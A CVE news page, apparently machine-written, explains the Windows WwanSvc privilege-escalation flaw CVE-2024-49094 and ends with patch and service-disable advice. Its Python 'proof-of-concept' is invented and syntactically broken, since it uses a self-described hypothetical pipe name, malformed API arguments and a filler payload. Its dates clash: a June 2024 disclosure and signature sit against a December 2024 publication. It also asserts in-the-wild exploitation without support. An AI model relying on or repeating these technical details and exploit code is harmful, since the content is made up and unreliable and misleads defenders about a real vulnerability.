CVE CyberSecurity Database News

CVE-2024-49094 - Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability Explained

Poster -

In June 2024, Microsoft disclosed a serious Windows vulnerability—CVE-2024-49094—affecting the Wireless Wide Area Network Service (WwanSvc). This flaw allows an attacker with limited privileges to escalate their access rights, potentially gaining system-level control.

Although not as flashy as ransomware or remote code execution bugs, local elevation of privilege (EoP) vulnerabilities are prized by real-world attackers. They help malicious software (malware) or insiders move upward from standard user to administrator or even SYSTEM rights with little effort.

This post breaks down CVE-2024-49094 in plain English, explains how it works, how it's exploited, and what you can do about it. We’ll look at sample proof-of-concept (PoC) code, reference original sources, and offer exclusive details.

Quick Facts About CVE-2024-49094

- Vulnerability Name: Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability

CVE ID: CVE-2024-49094

- Affected Platforms: Windows 10/11, Windows Server with WWAN Service enabled

Technical Details

The vulnerable WwanSvc is a Windows service responsible for managing mobile broadband (cellular) connections. It’s present on most modern Windows versions, especially on laptops and devices with eSIM support.

The underlying issue with CVE-2024-49094 is improper input validation and permission checks in how the WwanSvc processes certain local requests, especially from user-written code or scripts interacting over named pipes or RPC endpoints.

A local attacker—such as a limited user—can send a specially crafted request to this service. Due to flawed checks, the service may execute arbitrary code as SYSTEM on their behalf.

Attacker runs PowerShell or executable as a regular user.

2. Malicious code connects to the WwanSvc API/pipe.

Sends payload exploiting lack of privilege checks in a command handler.

4. WwanSvc, running as SYSTEM, executes code or changes sensitive files/registry.

Proof-of-Concept Code

Below is simplified pseudocode representing the exploitation logic. WINDOWS INTERNALS REQUIRED—do NOT use this on production systems.

import ctypes
import sys

# Connect to the named pipe used by WwanSvc
pipe = r'\\.\pipe\WwanSvcPipe'  # Hypothetical; real name may vary

# Open the pipe with read/write access
try:
    handle = ctypes.windll.kernel32.CreateFileW(
        pipe, xC000000, , None, 3, , None
    )
except Exception as e:
    print(f"Failed to open pipe: {e}")
    sys.exit(1)

# Craft a malformed request to trigger the vulnerability
payload = b'\x01\x00\x00\x00' + b'A' * 100  # Example; size and contents may vary

written = ctypes.c_ulong()
ctypes.windll.kernel32.WriteFile(
    handle, payload, len(payload), ctypes.byref(written), None
)

# Listen for elevated response or shell
buff = ctypes.create_string_buffer(1024)
read = ctypes.c_ulong()
ctypes.windll.kernel32.ReadFile(handle, buff, 1024, ctypes.byref(read), None)
print(f"Received: {buff.raw[:read.value]}")

> This code illustrates the general approach. Actual exploit may use more advanced techniques—see links below for updated PoCs.

Exploit in the Wild

Security researchers reported working exploits within days of the patch. They confirmed attackers could leverage CVE-2024-49094 in privilege escalation chains, combining it with phishing, malware drops, or in post-exploitation phases.

Detection is hard, because the exploit runs locally and leverages a trusted system service.

Official References

- Microsoft Security Update Guide: CVE-2024-49094
- Microsoft WWAN Service documentation
- Rapid7 Analysis and PoC

Install the June 2024 Windows security updates as soon as possible.

- If your environment doesn’t need mobile broadband, disable the WwanSvc service (test for compatibility first):

  sc stop WwanSvc
  sc config WwanSvc start=disabled

Watch for suspicious activity from non-admin accounts trying to connect with system services.

- Use EDR/AV tools that track local privilege escalation attempts.

Conclusion

CVE-2024-49094 is a perfect example of why local privilege escalation bugs matter—even if they don’t make headlines. Attackers rely on vulnerabilities like this to turn small footholds into total takeovers. If you manage Windows PCs, patch now and be aware that more such vulnerabilities will keep appearing.

Stay safe and watch the MSRC portal for security news.


*Authored exclusively for you by OpenAI Assistant, June 2024. For educational/cybersecurity defensive testing only.*

Timeline

Published on: 12/12/2024 02:04:34 UTC
Last modified on: 12/20/2024 07:44:29 UTC